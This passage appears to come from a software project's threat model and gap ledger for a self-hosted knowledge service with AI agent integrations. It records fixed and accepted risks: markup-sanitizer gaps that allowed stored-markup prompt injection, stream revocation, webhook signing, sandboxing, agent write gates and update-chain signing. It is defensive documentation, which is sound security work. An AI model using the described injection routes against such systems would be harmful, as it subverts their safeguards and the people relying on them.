Read-seam element-set gaps, inner-content leak (R-01 remainder)The 26-name set closes the 11 survivors (math/style/details/body/button/select/marquee/dialog/animate/picture/noscript, §plan .85); the remainder makes math/style OPAQUE (tag + inner content vanish — <math><mi>x</mi></math> no longer leaks <mi>x</mi>, <style>@import… no longer survives as text) and pins a 30-name MathML-children appendix as defense in depth; per-element strip-mode table lives in src/gate.rs; four lanes (server/plugin/client/fork-fixture) with the v1 fixture read-only at 26 and the appendix pinned code-side until the deliberate v2 bump. OWASP Agentic LLM01 (stored-markup prompt injection): the seam is the control; docs/OWASP_AGENTIC_2026.md LLM01 row re-stamp is pending (docs/ boundary — operator action)v1.28.85r (Scrim addendum; fork sync + fixture v2 pending operator)
Revoked principal keeps its open SSE stream (R-02)Bounded-kill, not instant-kill: BOTH SSE endpoints (/events alert feed, UMP subscribe change-signal) pump through one guarded loop (src/sse_reauth.rs::pump_guarded) that re-consults the identity kill-switch every BRAIN_SSE_REAUTH_SECS (default 30s, ceiling 3600s, fail-closed parse at boot); revoked-or-unreadable emits {"revoked":true,"at":<ts>} then closes, and reconnect meets the admission 403. =0 restores admission-only (documented ceiling, loud boot warn). Poll/drain surfaces (get_run_events, channel drain/ack) re-auth per request through the bearer middleware already — only long-lived streams needed the heartbeat. Operator runbook: revoke → expect the revoked frame within N seconds on every open stream; if a stream outlives 2N, the registry read is failing (fail-closed kill fires instead of silent survival)v1.28.86 “StreamKillSign”
Unsigned alert/DSAR webhook sends (A-01)BRAIN_REQUIRE_WEBHOOK_SIGNING defaults REQUIRED: a sink URL without its secret REFUSES the boot (no more warn-and-send-unsigned); explicit =0 admits unsigned ALERT sends with loud warn + /ready webhook_signing:off + signed:false stamped on every payload (signed sends carry signed:true). The DSAR/Art-19 path has NO opt-out — the sender refuses unsigned too (dsar_unsigned_send_refused), and the signature header is unconditional. HMAC-SHA256 raw-body + constant-time compare unchanged (pre-existing webhook.rs verify/sign)v1.28.86 “StreamKillSign”
Loop exec runs unconfined (T)Every loop-mediated execution inherits the typed sandbox seam: deny-default sandbox-exec (Seatbelt) profiles on macOS, target-gated Landlock enforcement on Linux, policy-outranks-backend selection — an unavailable backend REFUSES the command rather than faking it; handle laws pin cancellation + mid-run reaping; spawns env-cleared with a pinned PATH (src/workflow/sandbox.rs). The v1.28.75 mediation beneath it stands (empty/absent allowlist = deny ALL engine exec, argv-only, cwd-pinned)v1.28.92 “Ledger”
Bulk-read exfiltration via record layers (I)The two bulk-read surfaces added with the record layers — disagreement-corpus export (GET /workflow/reflection/corpus) and account listing (GET /accounts) — both require the Admin scope AND the DPO role, land a global audit row per call (principal, filter, row count), and answer bounded pages only. Corpus exports de-identify at the seam through a synthetic scope-less reader (unconditional PII masking — no caller’s clearance can bypass it); rows carry their frozen train/holdout partition so a bleed is checkablev1.28.92 “Ledger”
Agent mints loop obligations or account rows (E)The machine-refusal law at surface AND core: handoff decision, back-referral return, pipeline stage change, and account archive all REQUIRE a decision_ref (400 decision_ref_required / decision_ref_invalid), screened and bounded 1..=256; role gates refuse the agent class before any row is written; account link/pipeline rows are agent-denied end to endv1.28.92 “Ledger”
Fork update-chain delivery unsigned end-to-end (K7-01/02/04)ACCEPTED RISK — operator final call 2026-09-15: no upstream PRs filed. The four unsigned links (npm self-update trusts registry metadata — SRI proves tarball-vs-metadata, not the signer; Node tarball + SHASUMS256.txt both same-origin nodejs.org, no GPG; git install never verify-tag; Sparkle appcast EdDSA verifies against no shipped SUPublicEDKey) stay as disclosed. Rationale: single-operator local-first deployment — every channel except npm requires compromising nodejs.org/GitHub/a CDN, and the npm channel (transitive-maintainer takeover, the event-stream class) is gated by the operator’s own lockfile-diff review at update time. Compensating controls, procedural: (1) every update run is a HITL gate — diff the lockfile/manifest before accepting (the discipline that caught K7-03); (2) never run updates from untrusted networks; (3) on Node runtime updates, manually gpg --verify SHASUMS256.txt.sig against Node’s pinned release key; (4) never deploy the fly.toml sample as-is; the macOS Sparkle path is not this deployment’s surface. Re-examine if the fork ever ships to third parties (K5-05 npm provenance joins the cluster) or upstream hardens the chain (inherited free by rebase)2026-09-13 seventh pass (fork lane); final disposition 2026-09-15 (docs-only)
Captured alert envelope replays indefinitely (S8-02)The valet-relay alert sink requires BOTH gates before forward: a valid MAC (who) AND a fresh webhook-timestamp (when) — epoch-seconds OR RFC3339 parsed, two-sided ±300 s window mirroring the kernel’s WEBHOOK_REPLAY_SECS + WEBHOOK_TS_FUTURE_SKEW_SECS (enforced together at enqueue_ts), deliberately NOT env-tunable. Receiver-side id-dedup DECLINED with the reason in the producer: src/alert.rs retries the SAME delivery_id + ts up to three times, so an id-set would trade a duplicate alert for a silently lost one — pinned (the same id and ts is admitted twice) so the next reader cannot “helpfully” add the SetR76 “Cadence” (§5b row backfilled by R77 — T9-03: it shipped with none)
Unbounded request rate on the messaging edge (S8-04)signal-gateway’s apply_rate_limit wraps the FINISHED router — after .with_state and after the auth match — so the limit is outermost; in the tokenless loopback posture there is no auth layer at all, and a layer inside create_router_with_auth would bound only one arm. Structural pin refuses deleting the wrap (tests/s8_04_rate_limit_wired.rs); the module is pub in the lib target so the integration tests reach the REAL limiterR76 “Cadence” (§5b row backfilled by R77 — T9-03: it shipped with none)
Security verb lies during incident response (F9-01)POST /ops/agents/revoke REFUSES the opaque operator superuser’s label with its own 400 operator_bearer_unrevocable, naming rotation + restart as the remedy and writing NOTHING — the operator bearer is a static token the kill-switch structurally cannot reach (the auth middleware’s operator arm consults no revocation row), so the old revoked:true response certified an inert control at exactly the moment a truthful verb matters. The revocable neighbours keep the A5-01 always-write law: the loopback agent by its anchor, unseen JWT subs with known:false + warningR77 “Verity”

Ceilings this line explicitly keeps (do not “fix” without amending the architecture):

  • The screen is a tripwire, not a boundary — the boundary is the HITL gate (mantra 3). Pores widens the tripwire; it never makes ingest “safe”.
  • Origin is ONE boolean-grade label (owner vs channel-capture), not a lattice or policy engine — no auto-promotion exists to protect.
  • MCP catalog drift is SURFACED (notify + pendingAck), not gated — the ack is an explicit operator touch. PIN COVERAGE IS ASYMMETRIC (fork): only the embedded-agent run lane passes catalogPinsPath — the plugin-sdk harness, compaction runtimes, and doctor projections reconcile through the default path only after the U3 upstream PR lands; until then a tool blocked in the main attempt is not blocked in those contexts.
  • Egress pinning defends the server’s own sinks; operator allowlists (webhook hosts, remote images) are trust, not safety. The OTLP exporter and the fork’s pinned-host DNS resolution sit outside the validated client (operator-configured endpoints — disclosed in §5).
  • The audit chain detects SQL/application-level tampering, not host compromise; the live DB and .bak snapshots stay plaintext on the primary (§4 items 2/2b). Model-manifest pinning is boot-time-only (load-time re-verification is host-compromise territory — the same ceiling). NARROWED (v1.28.91 “Notary”): brain anchor extends detection past the SQL layer — an OFF-HOST recorded state fingerprint (chain head + knowledge content census + counts; --verify recomputes) catches business-row rewrites the chain itself cannot see (the seventh-pass R7-08 demonstration class), at an operator-chosen cadence (detection latency = that cadence; proposals/workflow/dsar rows censused by COUNT only). brain shred closes the SQL-layer half of erasure residue (secure_delete + checkpoint(TRUNCATE) + VACUUM, freelist reads back 0, one forget row) — filesystem copies, .bak, standby chunks, and SSD wear-leveling stay operator-level ceilings, and the host compromise ceiling itself stands: the anchor is detection, never prevention.
  • WORKLOAD IDENTITY IS STATIC SHARED SECRETS (W9-03, F9-S-04 census, ninth pass): every inter-component seam — the opaque operator bearer, the MCP bearer, the signal-gateway bearer, the relay/bridge HMACs — is one long-lived secret whose only remedy is file rotation + restart; only HTTP session JWTs are bounded (24 h cap). A per-boot ephemeral loopback bearer through the existing JWT machinery was considered and DECLINED for now: it breaks every scripted/API-keyed consumer at each restart and needs a provisioning story this component does not have. Consequence (named, not hidden): a leaked operator token is unkilable from inside — F9-01’s refusal says so out loud; rotation is the operator’s remedy.
  • RULE OF TWO IN THE OPENCLAW HOST (W9-05, ninth pass): the brain plugin parses untrusted JSON inside the same host process that holds provider keys — accepted tension, mitigated by the unforgeable sentinel fence, per-agent gating, and the sanitized projection seam, and RECORDED here so a future fence-weakening refactor is visible against this ceiling rather than silent.
  • Single-tenant storage: the domain shim is a label, not a boundary — included_global makes mixing visible; true isolation is BRAIN_MULTI_DB (v2.0 Cortex). Quorum is opt-in (default 1); pin-ack signatures are TOFU, not operator-bound; DNS-rebind of the plugin pin and keyless self-assertion stay disclosed (v1.28.80 rows above).
  • UPSTREAM SUPPLY CHAIN (fork, pnpm audit --prod 2026-09-11): 5 moderate + 2 low, all transitive in optional extension chains (hono <4.13.5, qs <6.16.0 — pinned there by UPSTREAM’s own pnpm-workspace.yaml security override gone stale, joi <18.2.5). Upstream-owned: PR spec filed (override bumps + SDK bump); the fork does not edit upstream files.
  • DSAR root matching vs principal-less writes (F7-02, seventh pass): every content write now carries an owner stamp — the acting principal’s sub, or the fixed loopback label for the opaque-mode superuser (a static bearer has no JWT sub; the writes were NULL and the DSAR locate, which keys on knowledge.owner, never saw them). Write-side only — historical pre-v1.28.87 rows keep their NULL owner and stay stamp-blind by declaration (dated; re-import to stamp). Residual: suggest_feedback rows keep the principal-sub-or-NULL shape (the DSAR sweep’s feedback arm is unchanged), and the DSAR subject vocabulary is the WRITER’s identity — rows ABOUT a person but written by another principal are located via the derived_from walk, not the owner column (unchanged semantics).

6. Per-release security exit gates

Each major release must complete these exit gates (in addition to fmt/clippy/test).

Honest scope, ledger wording (v1.28.87 docs-truth): a release whose audit names known residuals MUST NOT headline “gap ledger zero” — the standing phrase is “gap ledger balanced (N known residuals with owners)” with a residual table in the CHANGELOG entry (see the v1.28.79 correction note). “Balanced” means no UNOWNED gaps, not drift-impossible. Enforced by grep -rn "gap ledger zer[o]" CHANGELOG.md docs/ returning zero hits.

Honest scope (fourth pass T4-03): the columns below are the HISTORICAL v1.x matrix plus the FUTURE major lines (v2.0 Cortex, v2.1, v3.7 A2A — unchecked because those releases have not happened). The current line (v1.28.x) runs the per-release gate on EVERY release — THREAT_MODEL + SECURITY + OWASP matrix re-stamps, cargo audit, authz/authn matrix, chain-verify, docs-truth and reg_watch pins — recorded per release in CHANGELOG.md §[version] engineering records; the gate row matrix is re-drawn when a major line opens.

Gatev1.0 ✅v1.1v1.2v2.0v2.1v3.7
THREAT_MODEL.md updated✅✅✅□□□
OWASP Top 10:2025 coverage checked✅✅✅□□□
cargo audit --deny warnings clean✅✅✅□□□
Penetration test report (3rd-party for v2.0+)———□□□
AuthN test matrix (OWASP JWT Cheat Sheet)n/apartial✅✓✓✓
AuthZ test matrix (cross-tenant)n/apartial✅□✓✓
Rate limit test (per-tenant + tiered)n/an/an/an/a□✓
Encryption audit (KMS + per-field)n/an/an/an/an/a□
Audit hash-chain verificationn/a✅✅✓✓✓
Compliance checklist (SOC 2 / ISO 27001 mappings) reviewed✅✅✅□□□

7. What this threat model does NOT cover

  • Physical access to the host. Assumes the operator controls physical access (full-disk encryption is the operator’s concern).
  • Social engineering. Out of scope; covered by ops policies, not code.
  • Insider threat from the operator themselves. The operator can read every DB. For true multi-party computation, federate (v3.7 A2A) so no single party has all data.
  • Quantum computing attacks. Asymmetric crypto (RSA, ECDSA) is quantum- vulnerable. Post-quantum algorithms (ML-DSA / ML-KEM from NIST PQC) are reserved for a future major release when libraries stabilize.
  • Supply chain of the operating system. Assumes the OS / kernel / libc are trusted. Hardened OS images (Flatcar, Talos) are an operator choice.
  • Payment data (PCI DSS — explicit non-scope). Payment-card data is never ingested, stored, or transited by this system; no PCI scope is claimed or achievable through this component. Content screening + PII masking exist for privacy law, not as PCI controls.

8. Review cadence

  • Per major release: full STRIDE review, update this doc, update OWASP coverage in SECURITY.md.
  • Per CVE in a direct dep: immediate patch release.
  • Per discovered vuln (security advisory): immediate patch, retro on why the threat model missed it, update doc.
  • Annual: third-party penetration test for any version marketed as “enterprise-ready” (target: v2.0+).